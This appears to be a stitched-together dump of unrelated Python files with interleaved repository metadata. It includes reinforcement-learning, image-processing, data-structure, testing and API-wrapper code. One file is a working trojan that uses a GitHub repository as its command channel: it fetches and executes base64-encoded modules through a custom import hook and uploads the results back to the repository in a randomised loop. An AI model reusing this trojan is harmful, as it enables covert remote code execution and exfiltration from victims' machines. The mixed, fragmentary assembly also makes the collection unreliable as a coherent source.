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""" author:龚俊老婆参考：叶强大佬验证MRP，进行简单的轨迹回报计算 """ #MRP包括：状态，转移概率，奖励，衰减因子 import numpy as np from numpy.lib.shape_base import expand_dims #状态 num_state = 7 #states' name to index i_to_n = {} i_to_n['0'] = 'C1' i_to_n['1'] = 'C2' i_to_n['2'] = 'C3' i_to_n['3'] = 'Pass' i_to_n['4'] = 'Pub' i_to_n['5'] = 'FB' i_to_n['6'] = 'Sleep' #according to inedx to get name #使用zip函数，可以将list进行绑定为元组 n_to_i = {} for i,name in zip(i_to_n.keys(),i_to_n.values()): n_to_i[name] = int(i) #转移概率矩阵 #C1,C2,C3,PASS,PUB,FB,SLEEP Pss = [ [0.0,0.5,0.0,0.0,0.0,0.5,0.0], [0.0,0.0,0.8,0.0,0.0,0.0,0.2], [0.0,0.0,0.0,0.6,0.4,0.0,0.0], [0.0,0.0,0.0,0.0,0.0,0.0,1.0], [0.2,0.4,0.4,0.0,0.0,0.0,0.0], [0.1,0.0,0.0,0.0,0.0,0.9,0.0], [0.0,0.0,0.0,0.0,0.0,0.0,1.0] ] #reward:根据index可以直接获得在相应状态得到的奖励 reward = [-2,-2,-2,10,1,-1,0] #衰减因子 gamma = 0.5 #计算某次轨迹的回报 def compute_return(start_index = 0, chain = None, gamma = 0.5)->float: """ Args: start_index:chain中开始计算的位置 chain：轨迹 gamma:衰减因子 Returns: return:回报，float """ #从chain的start_index开始获得的回报 G_start = 0.0 for i in range(start_index,len(chain)): G_start += np.power(gamma,i-start_index)*reward[n_to_i[chain[i]]] return G_start #examples chains = [ ['C1','C2','C3','Pass','Sleep'], ['C1','FB','FB','C1','C2','Sleep'], ['C1','C2','C3','Pub','C2','C3','Pass','Sleep'], ['C1','FB','FB','C1','C2','C3','Pub','C1',\ 'FB','FB','FB','C1','C2','C3','Pub','C2','Sleep'] ] example_return = [] for i in range(4): example_return.append(compute_return(0,chains[i],0.5)) print("The return of chian {0} is {1}".format(i,example_return[i])) #the output is as folllow: """ The return of chian 0 is -2.25 The return of chian 1 is -3.125 The return of chian 2 is -3.40625 The return of chian 3 is -3.196044921875 """

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#!/usr/bin/env python import json import base64 import sys import time import imp import random import threading import Queue import os from github3 import login PASSWD = "" trojan_id = "abc" trojan_config = "%s.json" % trojan_id data_path = "data/%s/" % trojan_id trojan_modules = [] configured = False task_queue = Queue.Queue() def connect_to_github(): global PASSWD gh = login(username="jdefr89@gmail.com", password=PASSWD) repo = gh.repository("jdefr89@gmail.com", "chapter0") branch = repo.branch("master") return gh, repo, branch def get_file_contents(filepath): gh, repo, branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print "[*] Found file: %s" % filepath blob = repo.blob(filename.__json_data['sha']) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task['module'] not in sys.modules: exec("import %s" % task['module']) return config def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) repo.create_file(remote_path, "Commit message", base64.b64encode(data)) return def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() # store result in repo store_module_result(result) return class GitImporter(object): def __init__(self): self.current_module_code = "" def find_module(self, fullname, path=None): if configured: print "[*] Attempting to retrieve %s" % fullname new_library = get_file_contents("modules/%s" % fullname) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self, name): module = imp.new_module(name) exec self.current_module_code in module.__dict__ sys.modules[name] = module return module # Main trojan loop -- sys.meta_path = [GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner, args=(task['module'],)) t.start() time.sleep(random.randint(1, 10)) time.sleep(random.randint(1000, 10000))

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# -*- coding: utf-8 -*- """ ============================= OT for image color adaptation ============================= This example presents a way of transferring colors between two image with Optimal Transport as introduced in [6] [6] Ferradans, S., Papadakis, N., Peyre, G., & Aujol, J. F. (2014). Regularized discrete optimal transport. SIAM Journal on Imaging Sciences, 7(3), 1853-1882. """ # Authors: Remi Flamary <remi.flamary@unice.fr> # Stanislas Chambon <stan.chambon@gmail.com> # # License: MIT License import numpy as np from scipy import ndimage import matplotlib.pylab as pl import ot r = np.random.RandomState(42) def im2mat(I): """Converts and image to matrix (one pixel per line)""" return I.reshape((I.shape[0] * I.shape[1], I.shape[2])) def mat2im(X, shape): """Converts back a matrix to an image""" return X.reshape(shape) def minmax(I): return np.clip(I, 0, 1) ############################################################################## # Generate data # ------------- # Loading images I1 = ndimage.imread('../data/ocean_day.jpg').astype(np.float64) / 256 I2 = ndimage.imread('../data/ocean_sunset.jpg').astype(np.float64) / 256 X1 = im2mat(I1) X2 = im2mat(I2) # training samples nb = 1000 idx1 = r.randint(X1.shape[0], size=(nb,)) idx2 = r.randint(X2.shape[0], size=(nb,)) Xs = X1[idx1, :] Xt = X2[idx2, :] ############################################################################## # Plot original image # ------------------- pl.figure(1, figsize=(6.4, 3)) pl.subplot(1, 2, 1) pl.imshow(I1) pl.axis('off') pl.title('Image 1') pl.subplot(1, 2, 2) pl.imshow(I2) pl.axis('off') pl.title('Image 2') ############################################################################## # Scatter plot of colors # ---------------------- pl.figure(2, figsize=(6.4, 3)) pl.subplot(1, 2, 1) pl.scatter(Xs[:, 0], Xs[:, 2], c=Xs) pl.axis([0, 1, 0, 1]) pl.xlabel('Red') pl.ylabel('Blue') pl.title('Image 1') pl.subplot(1, 2, 2) pl.scatter(Xt[:, 0], Xt[:, 2], c=Xt) pl.axis([0, 1, 0, 1]) pl.xlabel('Red') pl.ylabel('Blue') pl.title('Image 2') pl.tight_layout() ############################################################################## # Instantiate the different transport algorithms and fit them # ----------------------------------------------------------- # EMDTransport ot_emd = ot.da.EMDTransport() ot_emd.fit(Xs=Xs, Xt=Xt) # SinkhornTransport ot_sinkhorn = ot.da.SinkhornTransport(reg_e=1e-1) ot_sinkhorn.fit(Xs=Xs, Xt=Xt) # prediction between images (using out of sample prediction as in [6]) transp_Xs_emd = ot_emd.transform(Xs=X1) transp_Xt_emd = ot_emd.inverse_transform(Xt=X2) transp_Xs_sinkhorn = ot_emd.transform(Xs=X1) transp_Xt_sinkhorn = ot_emd.inverse_transform(Xt=X2) I1t = minmax(mat2im(transp_Xs_emd, I1.shape)) I2t = minmax(mat2im(transp_Xt_emd, I2.shape)) I1te = minmax(mat2im(transp_Xs_sinkhorn, I1.shape)) I2te = minmax(mat2im(transp_Xt_sinkhorn, I2.shape)) ############################################################################## # Plot new images # --------------- pl.figure(3, figsize=(8, 4)) pl.subplot(2, 3, 1) pl.imshow(I1) pl.axis('off') pl.title('Image 1') pl.subplot(2, 3, 2) pl.imshow(I1t) pl.axis('off') pl.title('Image 1 Adapt') pl.subplot(2, 3, 3) pl.imshow(I1te) pl.axis('off') pl.title('Image 1 Adapt (reg)') pl.subplot(2, 3, 4) pl.imshow(I2) pl.axis('off') pl.title('Image 2') pl.subplot(2, 3, 5) pl.imshow(I2t) pl.axis('off') pl.title('Image 2 Adapt') pl.subplot(2, 3, 6) pl.imshow(I2te) pl.axis('off') pl.title('Image 2 Adapt (reg)') pl.tight_layout() pl.show()

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from isl_converter.video_processing.video_capture import * from isl_converter.video_processing.image_transformation import * __all__=["video_capture","image_transformation"]

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#!/home/haroun3amri/PycharmProjects/untitled/venv/bin/python # -*- coding: utf-8 -*- import re import sys from rdflib.tools.rdfs2dot import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

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#!/usr/bin/env python3 ### # Problem 53 # https://projecteuler.net/problem=53 ### from math import factorial def p053(l): factorials = dict((i, factorial(i)) for i in range(0, l+1)) n_choose_r = lambda n, r: factorials[n] / factorials[r] / factorials[n-r] return sum(1 for n in range(1, l+1) for r in range(1, n) if n_choose_r(n, r) > 1e6) print(p053(100))

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def check_power_of_2(a: int) -> bool: return not (bool(a & (a - 1)))

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import matplotlib.pyplot as plt from functions import parsing from math import pi import numpy as np plt.rc('text', usetex=True) plt.rc('text.latex', unicode=True) plt.rc('text.latex', preamble=[r'\usepackage[utf8x]{inputenc}', r'\usepackage[russian]{babel}', r'\usepackage{amsmath}', r'\usepackage{amssymb}']) plt.rc('font', family='serif') def f(x): a= 6581 b=0.04164 c= -7785 d= -1.144 f=a*np.exp(b*x)+c*np.exp(d*x) return f x = np.linspace(0.4, 2.4, 1000) plt.plot(x, f(x), 'darkblue') plt.xlabel(r'I, $\text{мА}$', fontsize='16') plt.ylabel(r'H, $\text{Эрстед}$', fontsize='16') plt.minorticks_on() plt.grid(which='major', linestyle='-') plt.grid(which='minor', linestyle=':') plt.savefig('D:/Labs/zeeman/fig/curve.pdf') plt.show()

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# Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html # useful for handling different item types with a single interface from itemadapter import ItemAdapter class ProjPipeline: def process_item(self, item, spider): return item

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# Copyright (C) 2019 Wenhua Wang # # This file is part of QuantLibExt, which is an extension to the # free-software/open-source quantitative library QuantLib - http://quantlib.org/ # # QuantLibExt is free software: you can redistribute it and/or modify it # under the terms of the BSD license. # # QuantLib's license is at <http://quantlib.org/license.shtml>. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the license for more details. import matplotlib.pyplot as plt from matplotlib.ticker import FuncFormatter import datetime import ext.CurveBuilder as builder # import ext.Config as config import ext.CurveUtils as cutil def plotCurve(dates, values, lineType='-', width=10, height=9): pydt = [datetime.datetime(d.year(), d.month(), d.dayOfMonth()) for d in dates] fig, ax = plt.subplots() fig.set_size_inches(width, height) ax.yaxis.set_major_formatter( FuncFormatter(lambda r, pos: '{:.2%}'.format(r))) plt.subplots_adjust(bottom=0.2) l, = plt.plot(pydt, values, lineType) plt.show() if __name__ == '__main__': asOfDate = 20121211 basis = 'Act/365F' curve = builder.PiecewiseLogCubicDiscountCurve( asOfDate, basis, 'eonia') data = cutil.oneDayForwardRates(curve, '2Y', 'TGT', compounding='Simple') dates = data['dates'] rates = data['rates'] plotCurve(dates, rates, '.')

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# structure of a node in a doubly linked list class Node: def __init__(self, val, next_node=None, prev_node=None): """ Node constructor, next and prev are optional """ self.val = val self.next_node = next_node self.prev_node = prev_node def __str__(self): nn = "None" if self.next_node is None else str(self.next_node.val) pn = "None" if self.prev_node is None else str(self.prev_node.val) return "(Value: {0}, Next: {1}, Prev: {2})".format(self.val, nn, pn) class MyLinkedList: def __init__(self): """ Initialize your data structure here. """ self.head = None self.tail = None self.length = 0 def get(self, index): """ Get the value of the index-th node in the linked list. If the index is invalid, return -1. :type index: int :rtype: int """ current = self.getNodeAtIndex(index) # print("Node retrieved: {0}".format(str(current))) if current is None: return -1 else: return current.val def addAtHead(self, val): """ Add a node of value val before the first element of the linked list. After the insertion, the new node will be the first node of the linked list. :type val: int :rtype: void """ new_head = Node(val, self.head, None) if self.length == 0: self.tail = new_head else: self.head.prev_node = new_head self.head = new_head self.length += 1 # print("Head: {0}".format(str(self.head))) # print("addAtHead result: {0}".format(str(self))) return def addAtTail(self, val): """ Append a node of value val to the last element of the linked list. :type val: int :rtype: void """ new_tail = Node(val, None, self.tail) if self.length == 0: self.head = new_tail else: self.tail.next_node = new_tail self.tail = new_tail self.length += 1 # print("addAtTail result: {0}".format(str(self))) return def addAtIndex(self, index, val): """ Add a node of value val before the index-th node in the linked list. If index equals to the length of linked list, the node will be appended to the end of linked list. If index is greater than the length, the node will not be inserted. :type index: int :type val: int :rtype: void """ # if index is 0, add at head if index == 0: self.addAtHead(val) return elif index == self.length: self.addAtTail(val) return current = self.getNodeAtIndex(index) # current is set, now need to insert directly after it if current is None: return current = current.prev_node nn = Node(val, current.next_node, current) current.next_node = nn nn.next_node.prev_node = nn self.length += 1 # print("addAtIndex result: {0}".format(str(self))) return def deleteAtIndex(self, index): """ Delete the index-th node in the linked list, if the index is valid. :type index: int :rtype: void """ # validate input if index < 0: return elif index >= self.length: return # gets node to delete, updates references around it to_del = self.getNodeAtIndex(index) if to_del is None: return prevn = to_del.prev_node nextn = to_del.next_node if prevn is None: # to_del is the head if nextn is None: # list only has 1 elem self.head = None self.tail = None else: self.head = nextn nextn.prev_node = None elif nextn is None: # to_del is the tail self.tail = prevn prevn.next_node = None else: # to_del is in the middle of the list prevn.next_node = nextn nextn.prev_node = prevn self.length -= 1 return def getNodeAtIndex(self, index): """ Gets the node object at the given index O(1) at the edges, approaches O(n) in the middle (uses double sided nature) :type index: int :rtype: Node """ # check input if index >= self.length: return None elif index < 0: return None # if element is closer to right side; better performance this way if index > self.length // 2: current = self.tail for i in range(self.length - 1, index, -1): if current is None: return -1 current = current.prev_node # if element is closer to left side else: current = self.head for i in range(index): if current is None: return -1 current = current.next_node return current # defines string representation of list def __str__(self): result = [] current = self.head while current is not None: result.append(current.val) current = current.next_node return "MyLinkedList({0}, length {1})".format(str(result), str(self.length)) # What is tested: # obj = MyLinkedList() # param_1 = obj.get(index) # obj.addAtHead(val) # obj.addAtTail(val) # obj.addAtIndex(index,val) # obj.deleteAtIndex(index)

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#coding=utf-8 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.support.ui import Select from selenium.common.exceptions import NoSuchElementException import unittest,time,re import HTMLTestRunner now=time.strftime("%Y-%m-%d %H-%M-%S",time.localtime()) #print now class YouDao(unittest.TestCase): def setUp(self): self.driver = webdriver.Chrome() self.driver.implicitly_wait(30) self.base_url="http://www.youdao.com/" self.verificationError=[] self.accept_next_alert = True def test_youdao_search(self): u"""有道搜索用例""" driver=self.driver driver.get(self.base_url+"/") try: driver.find_element_by_id("qw").send_keys("viabtc") driver.find_element_by_id("query").click() time.sleep(5) except: driver.get_screenshot_as_file('D:\\selenium_use_case\\error_png\\'+now+'.png') driver.close() def tearDown(self): self.driver.quit() self.assertEqual([],self.verificationError) if __name__=="__main__": #HTMLTestRunner.main() #unittest.main() testsuite=unittest.TestSuite testsuite.addTest(YouDao("test_youdao_search")) unittest.TextTestRunner().run(testsuite) #filename='D:\\selenium_use_case\\report\\'+now+'_result.html' #fp=file(filename,'wb') #runner=HTMLTestRunner.HTMLTestRunner(stream=fp,title="test_report",description="this is the description of this report") #runner.run(testsuite)

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# -*- coding: utf-8 -*- from __future__ import unicode_literals import unittest import logging import os import json import io from emoji_unicode import replace, normalize, Emoji from emoji_unicode.utils import code_point_to_unicode, unicode_to_code_point from emoji_unicode import data_parser logging.disable(logging.CRITICAL) DIR = os.path.dirname(__file__) FIXTURES = os.path.join(DIR, 'fixtures') EMOJI_PRETTY_JSON = None def _get_emoji_pretty(): global EMOJI_PRETTY_JSON if EMOJI_PRETTY_JSON is not None: return EMOJI_PRETTY_JSON with io.open(os.path.join(FIXTURES, 'emoji_pretty.json'), encoding='utf-8') as fh: EMOJI_PRETTY_JSON = fh.read() return EMOJI_PRETTY_JSON def get_emoji_pretty(): return json.loads(_get_emoji_pretty()) def code_points_to_unicode(code_points): return ''.join( code_point_to_unicode(p) for p in code_points.split('-') ) def get_emojis(include_skin_variations=True, include_variations=True): # todo: include variations (emoji + emo_variation), android doesn't use them, check iOS emojis = [] for e in get_emoji_pretty(): emojis.append({ 'unicode': code_points_to_unicode(e['unified']), 'code_point': e['unified'], 'short_name': e['short_name'] }) if include_skin_variations: emojis.extend( { 'unicode': code_points_to_unicode(point), 'code_point': point, 'short_name': e['short_name'] } for point in e.get('skin_variations', {}).keys() ) if include_variations: emojis.extend( { 'unicode': code_points_to_unicode(point), 'code_point': point, 'short_name': e['short_name'] } for point in e.get('variations', []) ) return emojis def get_emojis_unicode(**kw): return [e['unicode'] for e in get_emojis(**kw)] class MetaTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_code_points_to_unicode(self): self.assertEqual( code_points_to_unicode('1F58B-1F58B-1F58B'), '\U0001f58b\U0001f58b\U0001f58b' ) def test_get_emojis(self): self.assertEqual(len(get_emojis()), 1736) self.assertEqual(len(get_emojis(include_skin_variations=False)), 1416) self.assertEqual(len(get_emojis(include_variations=False)), 1619) def test_get_emojis_unicode(self): self.assertEqual(len(get_emojis_unicode()), 1736) self.assertEqual(len(get_emojis_unicode(include_skin_variations=False)), 1416) self.assertEqual(len(get_emojis(include_variations=False)), 1619) class UtilsTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_code_point_to_unicode(self): self.assertEqual( code_point_to_unicode('1F58B'), '\U0001f58b' ) def test_unicode_to_code_point(self): self.assertEqual( unicode_to_code_point('\U0001f58b'), '1F58B'.lower() ) class ModelEmojiTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_unicode(self): emoji = Emoji(unicode='foo') self.assertEqual(emoji.unicode, 'foo') def test_code_points(self): emoji = Emoji(unicode='\U0001f58b\U0001f58b\U0001f58b\uFE0F\u200D') self.assertEqual(emoji.code_points, '1F58B-1F58B-1F58B'.lower()) def test_as_map(self): emoji = Emoji(unicode='\U0001f58b\U0001f58b\U0001f58b\uFE0F\u200D') self.assertEqual( emoji.as_map(), [('\U0001f58b', '1f58b'), ('\U0001f58b', '1f58b'), ('\U0001f58b', '1f58b')] ) class ParserTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_replace(self): """ It should replace all emojis """ emojis = get_emojis() # With no spaces will fail due to fitzpatrick tone being a modifier and also a emoji txt = ' '.join(get_emojis_unicode()) txt_code_points = ' '.join(normalize(e['code_point']) for e in emojis) res = replace(txt, lambda emoji: emoji.code_points) self.assertEqual(res, txt_code_points) def test_replace_with_no_fitz(self): """ It should replace no-spaced emojis, excluding fitzpatrick tone emojis """ emojis = get_emojis() txt = ''.join( e['unicode'] for e in emojis if 'skin-tone' not in e['short_name'] ) txt_code_points = ''.join( normalize(e['code_point']) for e in emojis if 'skin-tone' not in e['short_name'] ) res = replace(txt, lambda emoji: emoji.code_points) self.assertEqual(res, txt_code_points) def test_replace_remove(self): txt = ''.join(get_emojis_unicode()) res = replace(txt, lambda emoji: '') self.assertEqual(res, '') def test_replace_digits(self): """ It should not match single digits """ txt = '#*0123456789' res = replace(txt, lambda emoji: '') self.assertEqual(res, txt) def test_replace_text_variations(self): """ It should not match emojis with text variation """ txt = '\u203C\uFE0E' res = replace(txt, lambda emoji: '') self.assertEqual(res, txt) def test_normalize(self): self.assertEqual(normalize('00A900'), 'a900') def test_normalize_variations(self): self.assertEqual(normalize('00A9-FE0F-200D-F00'), 'a9-f00') def test_normalize_separator(self): self.assertEqual(normalize('00A9_FE0F_200D_F00', separator='_'), 'a9_f00') class DataParserTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_parse(self): res = set(data_parser.parse()) self.assertTrue('\u00A9' in res) self.assertTrue('\u2194-\u2199' in res) # range def test_read_template(self): template = data_parser.read_template() self.assertTrue('{{code_points}}' in template) self.assertTrue('RE_PATTERN_TEMPLATE' in template) def test_render_template(self): code_points = data_parser.parse() template = data_parser.read_template() rendered_template = data_parser.render_template(template, code_points) self.assertTrue('{{code_points}}' not in rendered_template) self.assertTrue('RE_PATTERN_TEMPLATE' in rendered_template)

[ "ecastroborsani@gmail.com" ]

ecastroborsani@gmail.com

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/index/models.py

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no_license

Emehinola/intouch

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d370a48c21b93aed797c32a0621c3fa8bda89857

refs/heads/master

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from django.db import models # Create your models here. # home page view, i.e the surveys views class HomeViewCount(models.Model): views = models.IntegerField(default=0) # number of views or visits time = models.DateTimeField(auto_now_add=True) class Meta: ordering = ['-time'] verbose_name_plural = 'Views' def __str__(self): return f'{self.views}'

[ "emehinolasam01@gmail.com" ]

emehinolasam01@gmail.com

c2e80a38a785c88209976e926fc65e085e4e529a

6ffd3ef2b5286348b9150141bdd5c1dcd1a24a7a

/seaqube/nlp/tools.py

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permissive

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2023-02-26T23:40:09.143495

2021-01-28T19:08:04

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""" Copyright (c) 2021 by Benjamin Manns This file is part of the Semantic Quality Benchmark for Word Embeddings Tool in Python (SeaQuBe). :author: Benjamin Manns The nlp tool-kit which makes it possible to do text and doc loading, saving, processing in one-liners. """ from collections import Counter from copy import deepcopy from collections import Iterable from seaqube.nlp.types import SeaQuBeWordEmbeddingsModelGensim, BackgroundScheduler, SeaQuBeWordEmbeddingsModelC2V from seaqube.package_config import log from nltk import word_tokenize from nltk.tokenize.treebank import TreebankWordDetokenizer from progressbar import progressbar anti_tokenizer = TreebankWordDetokenizer() def word_count_list(double_list): """ Create a word count list of a corpus in doc format. """ word_count = Counter() for sentence in double_list: for token in sentence: word_count[token] += 1 # Equivalently, token.text return word_count def gensim_we_model_to_custom_we_model(gensim_model): return SeaQuBeWordEmbeddingsModelGensim(gensim_model) def c2_we_model_to_custom_we_model(c2v_model): return SeaQuBeWordEmbeddingsModelC2V(c2v_model) class DelayedListToJSONWriter: """ @deprecated Write buffer of corpus down, while not preserving gig's of text in RAM. """ def __init__(self, file_path, buffer_size=10): self.path = file_path self.buffer = [] self.buffer_size = buffer_size self._in_write_mode = False self.background_scheduler = BackgroundScheduler() self.background_scheduler.start() self.background_scheduler.local_scheduler.every(5).minutes.do(self.__save_on_disk) def finalize(self): log.debug(f"{self.__class__.__name__}: finalize is entered now") self.background_scheduler.stop() self.buffer_size = 0 self.__save_on_disk() self.background_scheduler.join() def __save_on_disk(self): if not self._in_write_mode: self._in_write_mode = True log.debug("Check, save on disk") data = [] if len(self.buffer) >= self.buffer_size: buffer_copy = deepcopy(self.buffer) self.buffer = [] ## we make a fake json, but it is efficient #if exists(self.path): # data = load_json(self.path) #data += self.buffer #self.buffer = [] #save_json(data, self.path) with open(self.path, "a") as f: f.write(json.dumps(buffer_copy) + "\n") log.debug("DelayedListToJSONWriter: write to file") self._in_write_mode = False def add(self, elem): self.buffer.append(elem) def tokenize_corpus(sentences: Iterable, verbose=True): """ Tokenize a list of texts. """ if verbose: sentences = progressbar(sentences) return [[token.lower() for token in word_tokenize(sentence) if token.isspace() is False] for sentence in sentences] def sentenceize_corpus(token_list: list, verbose=True): """ Reverse tokenization and transform a corpus again as a list of texts. """ if verbose: token_list = progressbar(token_list) return [anti_tokenizer.detokenize(tokens) for tokens in token_list] def unique_2d_list(list_: list): """ Only keep those lists inside the big list which are unique. Args: list_: list of list where second dimension can contain duplicates Returns: """ return list(map(lambda x: list(x), set(map(lambda x: tuple(x), list_))))

[ "beesforever@gmx.de" ]

beesforever@gmx.de

800d88fb5ae5695580acd4ab58b82b3d63b220d0

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/demo_chainmap.py

f3d00e0c8f8b639e7bd2fa7c81de832b9d38745f

[]

no_license

Vigneshpandiyan600/Pythonfiles

aed22c7a2a9c47ee34d6b54cfc222b62e95de480

755ab463dc726b30204008cdcd58623fc8ec061e

refs/heads/master

2022-11-23T22:12:16.617346

2020-07-29T03:44:23

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from collections import ChainMap dict1 = {'a':1, 'b':4} dict2 = {'b':5, 'c':7} cmap = ChainMap(dict1, dict2) print(cmap) for i in cmap.maps: print(i) for i in cmap.keys(): print(i) for i in cmap.values(): print(i)

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Vigneshpandiyan600.noreply@github.com

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/music_app/views/artists.py

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ryzenboi98/music-app

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refs/heads/main

2023-08-12T20:38:56.432150

2021-10-07T10:16:03

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from music_app.models import Artist from rest_framework import viewsets, permissions from music_app import serializers class UserReadOnlyPermissions(permissions.BasePermission): def has_permission(self, request, view): return request.method in permissions.SAFE_METHODS or request.user.is_superuser class ArtistViewSet(viewsets.ModelViewSet, UserReadOnlyPermissions): permission_classes = [UserReadOnlyPermissions] queryset = Artist.objects.all() serializer_class = serializers.ArtistSerializer

[ "joaopro23@gmail.com" ]

joaopro23@gmail.com

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/ciscosparkapi/api/webhooks.py

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permissive

marsivo/ciscosparkapi

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refs/heads/master

2021-01-21T18:57:38.492342

2016-09-19T09:02:39

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2016-09-19T08:47:46

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"""Cisco Spark Webhooks-API wrapper classes. Classes: Webhook: Models a Spark 'webhook' JSON object as a native Python object. WebhooksAPI: Wrappers the Cisco Spark Webhooks-API and exposes the API calls as Python method calls that return native Python objects. """ from ciscosparkapi.exceptions import ciscosparkapiException from ciscosparkapi.helper import utf8, generator_container from ciscosparkapi.restsession import RestSession from ciscosparkapi.sparkdata import SparkData class Webhook(SparkData): """Model a Spark 'webhook' JSON object as a native Python object.""" def __init__(self, json): """Init a new Webhook data object from a JSON dictionary or string. Args: json(dict, unicode, str): Input JSON object. Raises: TypeError: If the input object is not a dictionary or string. """ super(Webhook, self).__init__(json) @property def id(self): """Webhook ID.""" return self._json.get(u'id') @property def name(self): """A user-friendly name for this webhook.""" return self._json.get(u'name') @property def targetUrl(self): """The URL that receives POST requests for each event.""" return self._json.get(u'targetUrl') @property def resource(self): """The resource type for the webhook.""" return self._json.get(u'resource') @property def event(self): """The event type for the webhook.""" return self._json.get(u'event') @property def filter(self): """The filter that defines the webhook scope.""" return self._json.get(u'filter') @property def secret(self): """Secret used to generate payload signature.""" return self._json.get(u'secret') @property def created(self): """Creation date and time in ISO8601 format.""" return self._json.get(u'created') @property def data(self): """The object representation of the resource triggering the webhook. The data property contains the object representation of the resource that triggered the webhook. For example, if you registered a webhook that triggers when messages are created (i.e. posted into a room) then the data property will contain the representation for a message resource, as specified in the Messages API documentation. """ object_data = self._json.get(u'data', None) if object_data: return SparkData(object_data) else: return None class WebhooksAPI(object): """Cisco Spark Webhooks-API wrapper class. Wrappers the Cisco Spark Webhooks-API and exposes the API calls as Python method calls that return native Python objects. Attributes: session(RestSession): The RESTful session object to be used for API calls to the Cisco Spark service. """ def __init__(self, session): """Init a new WebhooksAPI object with the provided RestSession. Args: session(RestSession): The RESTful session object to be used for API calls to the Cisco Spark service. Raises: AssertionError: If the parameter types are incorrect. """ assert isinstance(session, RestSession) super(WebhooksAPI, self).__init__() self.session = session @generator_container def list(self, max=None): """List all of the authenticated user's webhooks. This method supports Cisco Spark's implementation of RFC5988 Web Linking to provide pagination support. It returns a generator container that incrementally yields all webhooks returned by the query. The generator will automatically request additional 'pages' of responses from Spark as needed until all responses have been returned. The container makes the generator safe for reuse. A new API call will be made, using the same parameters that were specified when the generator was created, every time a new iterator is requested from the container. Args: max(int): Limits the maximum number of webhooks returned from the Spark service per request. Yields: Webhook: The the next webhook from the Cisco Spark query. Raises: AssertionError: If the parameter types are incorrect. SparkApiError: If the Cisco Spark cloud returns an error. """ # Process args assert max is None or isinstance(max, int) params = {} if max: params[u'max'] = max # API request - get items items = self.session.get_items('webhooks', params=params) # Yield Webhook objects created from the returned items JSON objects for item in items: yield Webhook(item) def create(self, name, targetUrl, resource, event, filter=None, secret=None): """Create a webhook. Args: name(unicode, str): A user-friendly name for this webhook. targetUrl(unicode, str): The URL that receives POST requests for each event. resource(unicode, str): The resource type for the webhook. event(unicode, str): The event type for the webhook. filter(unicode, str): The filter that defines the webhook scope. secret(unicode, str): secret used to generate payload signature. Returns: Webhook: With the details of the created webhook. Raises: AssertionError: If the parameter types are incorrect. SparkApiError: If the Cisco Spark cloud returns an error. """ # Process args assert isinstance(name, basestring) assert isinstance(targetUrl, basestring) assert isinstance(resource, basestring) assert isinstance(event, basestring) assert filter is None or isinstance(filter, basestring) assert secret is None or isinstance(secret, basestring) post_data = {} post_data[u'name'] = utf8(name) post_data[u'targetUrl'] = utf8(targetUrl) post_data[u'resource'] = utf8(resource) post_data[u'event'] = utf8(event) if filter: post_data[u'filter'] = utf8(filter) if secret: post_data[u'secret'] = utf8(secret) # API request json_obj = self.session.post('webhooks', json=post_data) # Return a Webhook object created from the response JSON data return Webhook(json_obj) def get(self, webhookId): """Get the details of a webhook, by ID. Args: webhookId(unicode, str): The webhookId of the webhook. Returns: Webhook: With the details of the requested webhook. Raises: AssertionError: If the parameter types are incorrect. SparkApiError: If the Cisco Spark cloud returns an error. """ # Process args assert isinstance(webhookId, basestring) # API request json_obj = self.session.get('webhooks/' + webhookId) # Return a Webhook object created from the response JSON data return Webhook(json_obj) def update(self, webhookId, **update_attributes): """Update details for a webhook. Args: webhookId(unicode, str): The webhookId of the webhook to be updated. **update_attributes: name(unicode, str): A user-friendly name for this webhook. targetUrl(unicode, str): The URL that receives POST requests for each event. Returns: Webhook: With the updated Spark webhook details. Raises: AssertionError: If the parameter types are incorrect. ciscosparkapiException: If an update attribute is not provided. SparkApiError: If the Cisco Spark cloud returns an error. """ # Process args assert isinstance(webhookId, basestring) # Process update_attributes keyword arguments if not update_attributes: error_message = "At least one **update_attributes keyword " \ "argument must be specified." raise ciscosparkapiException(error_message) put_data = {} for param, value in update_attributes.items(): if isinstance(value, basestring): value = utf8(value) put_data[utf8(param)] = value # API request json_obj = self.session.post('webhooks/' + webhookId, json=put_data) # Return a Webhook object created from the response JSON data return Webhook(json_obj) def delete(self, webhookId): """Delete a webhook. Args: webhookId(unicode, str): The webhookId of the webhook to be deleted. Raises: AssertionError: If the parameter types are incorrect. SparkApiError: If the Cisco Spark cloud returns an error. """ # Process args assert isinstance(webhookId, basestring) # API request self.session.delete('webhooks/' + webhookId)

[ "chris@cmlccie.com" ]

chris@cmlccie.com

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/utils/app.py

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[]

no_license

abrance/MedicalLeagueChain

8501ad5fc4110bbffc1a112a1264da793662ea24

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2023-01-24T21:15:50.022300

